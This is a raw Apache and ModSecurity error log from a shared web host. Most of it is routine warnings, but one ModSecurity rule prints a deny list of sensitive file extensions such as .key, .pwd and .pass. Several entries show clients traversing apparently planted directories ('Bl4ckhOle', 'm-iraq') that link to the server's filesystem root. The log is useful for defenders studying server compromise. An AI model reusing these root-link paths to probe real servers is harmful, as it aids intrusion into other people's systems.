[Fri Jul 17 09:03:07.978019 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/drivers/pvpanic/uevent
[Fri Jul 17 09:03:08.077673 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:59496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:08.223971 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:08/uevent"] [unique_id "almidEgVnBK6wAv37w6tnwAAABQ"]
[Fri Jul 17 09:03:08.224021 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:08/uevent"] [unique_id "almidEgVnBK6wAv37w6tnwAAABQ"]
[Fri Jul 17 09:03:09.803335 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:59536] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:09.984735 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.37:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory37/subsystem/devices/memory0/subsystem/devices/memory122/node0/memory32/node0/compact
[Fri Jul 17 09:03:15.808155 2026] [security2:error] [pid 2030804:tid 2030804] [client 186.77.196.167:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/epid/public/careers-at-epid/www.sample.com"] [unique_id "almie4e39YUk0SgV8AU7oAAAABE"]
[Fri Jul 17 09:03:15.808585 2026] [security2:error] [pid 2030804:tid 2030804] [client 186.77.196.167:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/epid/public/careers-at-epid/www.sample.com"] [unique_id "almie4e39YUk0SgV8AU7oAAAABE"]
[Fri Jul 17 09:03:15.980463 2026] [security2:error] [pid 2030804:tid 2030804] [client 186.77.196.167:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almie4e39YUk0SgV8AU7oAAAABE"]
[Fri Jul 17 09:03:24.130322 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:24.183356 2026] [security2:error] [pid 2030774:tid 2030774] [client 32.192.206.193:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihBHlOGcokz2QIwTUZQAAAAM"]
[Fri Jul 17 09:03:24.183713 2026] [security2:error] [pid 2030774:tid 2030774] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihBHlOGcokz2QIwTUZQAAAAM"]
[Fri Jul 17 09:03:24.184001 2026] [security2:error] [pid 2030774:tid 2030774] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihBHlOGcokz2QIwTUZQAAAAM"]
[Fri Jul 17 09:03:24.313575 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:24.419656 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:24.484016 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:24.606344 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:24.817632 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:24.848532 2026] [security2:error] [pid 2013830:tid 2013830] [client 32.192.206.193:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihARRrtuZqNDDSqWxTwAAABo"]
[Fri Jul 17 09:03:24.849135 2026] [security2:error] [pid 2013830:tid 2013830] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihARRrtuZqNDDSqWxTwAAABo"]
[Fri Jul 17 09:03:24.849715 2026] [security2:error] [pid 2013830:tid 2013830] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihARRrtuZqNDDSqWxTwAAABo"]
[Fri Jul 17 09:03:24.881847 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:25.176510 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:25.238015 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:25.242003 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:25.264276 2026] [security2:error] [pid 2018741:tid 2018741] [client 32.192.206.193:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihboj0IkvhSCYadmC6wAAAAQ"]
[Fri Jul 17 09:03:25.264807 2026] [security2:error] [pid 2018741:tid 2018741] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.kiriaswanu.com"] [uri "/robots.txt"] [unique_id "almihboj0IkvhSCYadmC6wAAAAQ"]
[Fri Jul 17 09:03:25.265309 2026] [security2:error] [pid 2018741:tid 2018741] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.kiriaswanu.com"] [uri "/daph/public/robots.txt"] [unique_id "almihboj0IkvhSCYadmC6wAAAAQ"]
[Fri Jul 17 09:03:25.459084 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:25.522047 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:25.717316 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:25.831609 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:27.877127 2026] [security2:error] [pid 2019501:tid 2019501] [client 43.165.7.132:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/hspices-global": Permission denied [hostname "6hspices.com"] [uri "/index.php"] [unique_id "almihLEWOaI5pmYo9fnQHgAAAAA"], referer: http://www.6hspices.com
[Fri Jul 17 09:03:27.877159 2026] [security2:error] [pid 2019501:tid 2019501] [client 43.165.7.132:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/hspices-ip": Permission denied [hostname "6hspices.com"] [uri "/index.php"] [unique_id "almihLEWOaI5pmYo9fnQHgAAAAA"], referer: http://www.6hspices.com
[Fri Jul 17 09:03:28.140424 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "manaharasupercenter.lk"] [uri "/robots.txt"] [unique_id "almiiBHlOGcokz2QIwTUaAAAAAM"]
[Fri Jul 17 09:03:28.140802 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/robots.txt"] [unique_id "almiiBHlOGcokz2QIwTUaAAAAAM"]
[Fri Jul 17 09:03:29.621389 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almiiBHlOGcokz2QIwTUaAAAAAM"]
[Fri Jul 17 09:03:31.477853 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:31.580236 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:31.988344 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:39.523156 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:39.727646 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:39.766805 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:39.878247 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:39.985537 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:49334] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:40.076808 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.229743 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.282373 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.408288 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.483583 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.585869 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.687736 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.843755 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:40.995556 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:41.335131 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:41.345806 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:41.528224 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:42.585461 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:51126] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:47.236798 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:47.239237 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:47.314249 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:51304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:47.426713 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:47.449352 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:47.527978 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 47.82.53.231:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/devices/0000:00:02.0/resource0_wc
[Fri Jul 17 09:03:47.906168 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:47.970971 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:48.036040 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:48.041159 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:48.114952 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:48.218432 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:49.000445 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:51454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:49.307420 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:49.485738 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:49.687178 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:49.701062 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:49.834300 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.037513 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.074486 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.101226 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.128451 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.132748 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.153031 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.232118 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.268239 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:50.314467 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:51.497308 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:51.538522 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:51.539260 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:51.717935 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:52.907899 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.058511 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.064897 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.441719 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.478796 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.523308 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.541827 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.775244 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:53.860694 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:54.030019 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:54.057912 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:54.082216 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:55.095513 2026] [security2:error] [pid 2013797:tid 2013797] [client 32.192.206.193:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "kiriaswanu.com"] [uri "/"] [unique_id "almio1h1WDijTxd1xw5NoQAAAAc"]
[Fri Jul 17 09:03:55.095870 2026] [security2:error] [pid 2013797:tid 2013797] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "kiriaswanu.com"] [uri "/"] [unique_id "almio1h1WDijTxd1xw5NoQAAAAc"]
[Fri Jul 17 09:03:55.096168 2026] [security2:error] [pid 2013797:tid 2013797] [client 32.192.206.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "kiriaswanu.com"] [uri "/"] [unique_id "almio1h1WDijTxd1xw5NoQAAAAc"]
[Fri Jul 17 09:03:55.150900 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:44578] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:55.384867 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:55.453141 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:55.481733 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:55.485603 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:55.547325 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:59.256584 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:59.503935 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:59.591813 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:59.692800 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:59.793711 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:59.899371 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.005542 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.108967 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.314728 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.418788 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.524307 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.625309 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.726464 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.832136 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:00.937144 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:01.140714 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:04:06.045552 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:06.210921 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
